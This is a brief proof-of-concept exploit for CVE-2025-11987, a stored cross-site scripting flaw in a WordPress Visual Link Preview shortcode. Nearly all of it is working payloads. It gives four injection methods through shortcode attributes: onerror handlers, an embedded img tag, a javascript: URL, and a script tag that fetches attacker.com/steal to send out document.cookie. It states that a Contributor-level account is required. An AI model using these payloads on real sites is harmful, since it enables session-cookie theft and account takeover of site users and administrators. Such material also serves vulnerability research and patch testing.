CVE-2025-11987

<!-- Basic PoC for CVE-2025-11987 --> <!-- Stored XSS via Visual Link Preview shortcode --> <!-- Method 1: Using onerror event handler --> [visual-link-preview url='https://example.com' title='Test' image='x' onerror='alert(document.cookie)'] <!-- Method 2: Using onload event handler --> [visual-link-preview url='https://example.com' title='<img src=x onerror=alert(1)>'] <!-- Method 3: Using script tag injection --> [visual-link-preview url='javascript:alert(document.domain)' title='Click me'] <!-- Method 4: Stealing cookies --> [visual-link-preview url='https://evil.com' title='<script>fetch("https://attacker.com/steal?c="+document.cookie)</script>'] <!-- Required: Contributor role or higher WordPress account -->

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